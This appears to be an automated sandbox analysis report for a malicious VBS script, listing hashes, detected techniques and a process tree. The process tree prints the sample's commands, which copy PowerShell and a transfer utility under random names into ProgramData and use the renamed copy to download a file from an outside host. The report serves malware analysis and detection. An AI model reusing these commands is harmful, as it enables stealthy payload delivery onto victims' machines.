Analysis
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max time kernel
139s -
max time network
123s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
12-08-2024 19:15
Static task
static1
Behavioral task
behavioral1
Sample
8ff5aa60032b0bfecd878635d978f8fd_JaffaCakes118.vbs
Resource
win7-20240704-en
General
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Target
8ff5aa60032b0bfecd878635d978f8fd_JaffaCakes118.vbs
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Size
9KB
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MD5
8ff5aa60032b0bfecd878635d978f8fd
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SHA1
4011339acb95e12c5bfa057f220ebbaf6bf31424
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SHA256
405173656c1b1818248db05bb6105ea3353ec6c029fa4643e92ccfb89c855076
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SHA512
b8d05e7bea115c4693efc9797b82661d80a3c0613624a26671378ac5ba3f860a0fb62c3126d79f7dbc170e982cd8bfc4f7f0d579b333a0c391117caa70d734a9
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SSDEEP
192:SF9BcRMwRNOfvVrrGs470B35hjS173BVcVHcIRgLUEtfR:MuRMwz0vVes47035hjS17xVAzRPEtfR
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation WScript.exe -
Executes dropped EXE 1 IoCs
pid Process 876 AABfdRsin.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AABfdRsin.exe -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 5096 wrote to memory of 4400 5096 WScript.exe 85 PID 5096 wrote to memory of 4400 5096 WScript.exe 85 PID 4400 wrote to memory of 3256 4400 cmd.exe 87 PID 4400 wrote to memory of 3256 4400 cmd.exe 87 PID 4400 wrote to memory of 3556 4400 cmd.exe 88 PID 4400 wrote to memory of 3556 4400 cmd.exe 88 PID 5096 wrote to memory of 876 5096 WScript.exe 89 PID 5096 wrote to memory of 876 5096 WScript.exe 89 PID 5096 wrote to memory of 876 5096 WScript.exe 89
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8ff5aa60032b0bfecd878635d978f8fd_JaffaCakes118.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5096 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aHhNBdM.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\AABfdRs*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:4400 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aHhNBdM.exe3⤵PID:3256
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C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\AABfdRs*.exe3⤵PID:3556
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C:\ProgramData\AABfdRsin.exe"C:\ProgramData\AABfdRsin.exe" /wrap /transfer swSgFZWY https://fakedepth.com/real/CCCGCR83P11B201U/dev.doc C:\ProgramData\dev.doc2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:876
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
182KB
MD5f57a03fa0e654b393bb078d1c60695f3
SHA11ced6636bd2462c0f1b64775e1981d22ae57af0b
SHA256c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c
SHA5127e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a